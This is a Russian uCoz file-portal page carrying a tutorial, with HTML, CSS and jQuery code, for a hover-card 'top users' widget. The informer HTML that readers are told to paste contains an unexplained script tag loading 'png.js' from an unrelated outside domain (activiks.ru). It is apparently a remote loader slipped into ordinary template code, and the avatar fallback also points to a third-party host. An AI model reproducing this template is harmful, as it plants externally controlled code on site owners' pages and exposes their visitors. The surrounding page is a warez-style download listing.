Программы, игры, фильмы, музыка, книги, Portable, софт -
Развлекательно-познавательный портал softline2009.ucoz.ru
Главное меню
Разделы новостей
Аудиокниги [2688]
Безопасность/Антивирусы [63]
Графика и дизайн/Редакторы [189]
Заставки/часы/календари [0]
Игры/Games/PC [37]
Интернет и сеть [159]
Книги и Журналы [8969]
Всё для мобильных [47]
Музыка/MP3/WAV [1499]
Мультимедиа [137]
Картинки/Обои/Wallpapers [0]
Образование [831]
Portable Софт [277]
Полезные программы [4]
Программы [153]
Утилиты/Software [307]
Фильмы и мультфильмы [19]
Юмор/Приколы [1]
Случайная новость
из архива
Аудиокниги
Сергей Кудряшов - Преподобный Серафим Вырицкий (Аудиокнига)
Аудиокниги
Рэнди Гюнтер - Разрушители отношений (Аудиокнига)
Мультимедиа
FormatFactory 3.6.0 RePack/Portable by Diakov
Книги и Журналы
Братья Швальнеры - Спецназ ГРУ против басмачей
Книги и Журналы
Эрих Фромм - Величие и ограниченность теории Фрейда
Книги и Журналы
Фердинанд Лот - Последние Каролинги
Аудиокниги
Леонид Млечин - Самая большая тайна фюрера (Аудиокнига)
Музыка/MP3/WAV
Высшая лига хитов. Звездный срецвыпуск (2017)
Книги и Журналы
А. Гагарина - Салаты овощные, мясные, рыбные, фруктовые
Книги и Журналы
М.И. Спивак - Каталог почтовых марок СССР 1986
Книги и Журналы
Сергей Агапкин, Александр Кременец - Азбука йогатерапии
Облако тегов
softline2009.ucoz.ru » Интернет и сеть » Tоп пользователей с дополнительной информацией V2
Лучший интернет магазин, скидки, возврат денег, кэшбэк
Интернет и сеть Скачать Tоп пользователей с дополнительной информацией V2
Всем доброго дня, сегодня мы будем создавать информер топ пользователей по комментариям uCoz, при наведении на которые появляется дополнительная информация о пользователе и всё на css

Шаг 1 - Создаём информер:

Для начала нам следует создать и установить на страницу сайта нужный нам информер пользователей, для этого заходим

в Админ панель => Инструменты => Информеры => Создать информер

Раздел: Пользователи
Способ сортировки: колл. комментарий
Количество материалов: 10
Количество колонок: 1

удаляем старый код и устанавливаем новый:

Код
<div class="ddm_top_user">
  <a href="$PROFILE_URL$" class="drop_top_user bottom_no" target="_blank" ><script type="text/javascript" src="http://activiks.ru/img/png.js"></script><img alt="$USERNAME$" src="$AVATAR_URL$http://bambun.ru/images/no_avoar.jpg"/>
  <strong>$USERNAME$</strong>
  <span>$COM_POSTS$</span>
  </a>

  <div class="ddm_cell_user">
  <span class="ddm_ugol_user"></span>  
  <div class="ddm_content_user">
  <div class="ddm_content_top">
  <strong>$FULL_NAME$</strong>
  <span>ID:$USER_ID$</span>
  </div>
  <ul>
  <li><span>Пол:</span>$GENDER$----------</li>
  <li><span>Ранг:</span> $RANK_NAME$----------</li>
  <li><span>Группа:</span> $GROUP_NAME$</li>
  <li><span>Репутация:</span> $REPUTATION$</li>
  <li><span>Комментариев:</span> $COM_POSTS$</li>
  <li><span>Зарегистрирован:</span> $REG_DATE$</li>
  </ul>
  </div>
  </div>
</div>


А теперь на страницу сайта в нужное место устанавливаем html каркас с информеров:

Код
<div class="top_user">
  <div class="top_user_title">Топ пользователей</div>
  $MYINF_1$  
</div>


Не забывайте, что $MYINF_1$ является номером вашего информера и его стоит прописывать системной переменной, а не отдельной ссылкой на js.

Шаг 2 - Установим CSS:

Теперь когда данное решение почти готово, пропишем ему следующие css стили:

Код
/* Tоп пользователей с дополнительной информацией
------------------------------------------*/
.top_user {
  float:left;
  width:250px;
  background: #fff;
  border-radius:3px;
  border: 1px solid #CAD3DA;
}

.top_user_title {
  font:11px Verdana,Arial,Helvetica, sans-serif;
  text-shadow: 1px 1px 1px #B0431B;
  text-align:right;
  font-weight:700;  
  color:#fff;

  float:left;
  width:232px;
  height:20px;
  background:#e77e57;
  margin: -1px -1px 0px -1px;  
   
  padding: 7px 10px 3px 10px;  
  border-radius:3px 3px 0px 0px;
}

.ddm_top_user {
  float:left;
  display:block;
  position:relative;
}
   
.drop_top_user {
  float:left;
  width:230px;
  font-weight:700;  
  height:25px;
  padding: 5px 10px 5px 10px;  
  border-bottom: 1px solid #CAD3DA;
}

.drop_top_user img {  
  float:left;
  width:25px;
  height:25px;
  margin-right: 10px;
}

.drop_top_user strong {  
  float:left;
  margin-top: 5px;  
}

.drop_top_user span {  
  float:right;
  width:55px;
  height:20px;  
  text-align:right;  
  padding: 5px 0px 0px 5px;  
  border-left: 1px solid #CAD3DA;
  background: url(ico_comment.png) no-repeat left;  
}  

.ddm_top_user:hover{
  background:#F7F9FB;
}

.ddm_cell_user,  
.ddm_ugol_user{
  width:250px;
}  

.ddm_cell_user {
  left:-999em;
  z-index:998;
  margin:0px auto;
  position:absolute;
  border:1px solid #CAD3DA;  
  border-radius:3px;
}  
   
   
.ddm_content_user {  
  color:#777;
  margin:0;
  width:230px;
  padding:5px 10px;
  overflow:hidden;
  background:#fff;
  border-radius:3px;
}  
   
.ddm_top_user:hover .ddm_cell_user{
  top: 0px;  
  right:255px;
  left:auto;  
}  
   
.ddm_ugol_user {  
  height:17px;  
  top: 10px;
  right: -9px;
  position:absolute;  
  background:url(angle_right.png) no-repeat right;  
}

.ddm_content_top {
  float:left;
  width:100%;
  margin-bottom: 10px;
  padding: 0px 0px 5px 0px;  
  border-bottom:1px solid #CAD3DA;  
}  

.ddm_content_top span {
  float:right;
  margin-top:2px;
  font:9px Verdana,Arial,Helvetica, sans-serif; color:#999;
}  

.ddm_content_user ul{  
  margin:0;
  padding:0;
  list-style:none;
}  

.ddm_content_user li{  
  float:left;
  width:100%;
  padding: 3px 0px 3px 0px;  
}  

.ddm_content_user li span{  
  float:left;
  width:120px;
}  

.cu_li1 {background:#fff}  
.cu_li2 {background:#F7F9FB;}  

.bottom_no {
  border-bottom:none;  
}


Шаг 3 - Установим JS:

А для того чтобы в появляющейся ячейки с дополнительной информацией пользователя, не пришлось вручную прописывать классы чётным спискам, следует установить вниз страницы перед закрывающим тегом </body> следующий js

Код
<script language="javascript">
  $(document).ready(function() {
  $('.ddm_content_user ul li:odd').addClass('cu_li1');
  $('.ddm_content_user ul li:even').addClass('cu_li2');  
  });  
</script>

Теги: Интернет и сеть, , Tоп пользователей с дополнительной информацией V2
Tоп пользователей с дополнительной информацией V2 Tоп пользователей с дополнительной информацией V2

Категория: Интернет и сеть | Просмотров: 771 | Добавил: budyvmaster
| Дата добавления:
09 Фев 2013 | Рейтинг:


Понравилась новость???
Нажмите на кнопку расположенную ниже,
чтобы отблагодарить budyvmaster за этот материал:
Или добавьте её в социальные закладки:

Как мне скачать бесплатно без СМС и регистрации Tоп пользователей с дополнительной информацией V2 с
RapidShare | DepositFiles | FileFactory | LetitBit | iFolder



Всего комментариев: 0 -Напишите отзыв и Вы будете первым!
Для добавления комментария требуется регистрация.
[ Регистрация | Вход ]

Copyright softline2009.ucoz.ru™ © 2009-2024 Хостинг от
Мини профиль
Московское время: 06:31
Сегодня 26 Дек 2024 года.










Гость!
Полное имя Гость
Ваша группа Гости сайта;
Ваш IP: 3.144.105.101;
Вы с нами день
Мы рады вам ГОСТЬ! Чтобы не видеть рекламу, получить личный профиль и неограниченный доступ на сайте, пожалуйста, зарегистрируйтесь или авторизуйтесь!
Правила сайта!
Правила добавления
новостей!

Поиск по сайту



Полезное
Случайная новость
МУЗЫКА
Снежная любовь (2014)
ПОРТАТИВНЫЙ СОФТ
AnyToISO Professional 3.5.1 Сборка 460 Portable
МУЗЫКА
Kathryn Williams - Songs From The Novel Greatest Hits (2017)
КНИГИ / ЖУРНАЛЫ
Тайны ХХ века №1-2 (январь 2014)
АУДИОКНИГИ
Братья Карамазовы (5CD) Аудиокнига
МУЗЫКА
Золотая коллекция шансона. Самые лучшие хиты (2014)
КНИГИ / ЖУРНАЛЫ
Пособие для волшебников и волшебниц
КНИГИ / ЖУРНАЛЫ
Мой прекрасный сад № 2 2014
ДОК. / УЧЕБ. ВИДЕО
Как нарисовать губы. Учимся рисовать карандашом (2013)
ОС / СБОРКИ
Windows 10 Pro x64 17604.1000 RS5 Prerelease FULL (RUS/2018)
Статистика



Яндекс.Метрика

Онлайн всего: 8
Гостей: 8
Пользователей: 0

Кто on-line?
Нас посетили:
Последние статьи
Как самостоятельно похудеть
партнерка за смс, заработок на смс-партн...
Как попасть на первую страницу поисковой...
Что делать если наступил страховой случа...
Что нужно знать о независимой экспертизе...
Карта Квартира+ ПИК
Как разблокировать доступ к сайту
ошибки синего экрана смерти
Как выбрать сейф и какие они бывают
Как выбрать мебель в офис
Как завязывать галстук, шарф и платок. П...

Сайт адаптирован для просмотра с разрешением монитора 1280х1024 1024х768 в браузерах Mozilla Firefox и Opera. ВАШ браузер: , а
Файлы для обмена и ознакомления предоставлены пользователями сайта. Администрация не несёт ответственности за их содержание. На сервере хранятся только ссылки на файлы. Это значит, что мы не храним и не распространяем никаких нелегальных материалов, а так же материалов охраняемых авторским правом.
Для правообладателей!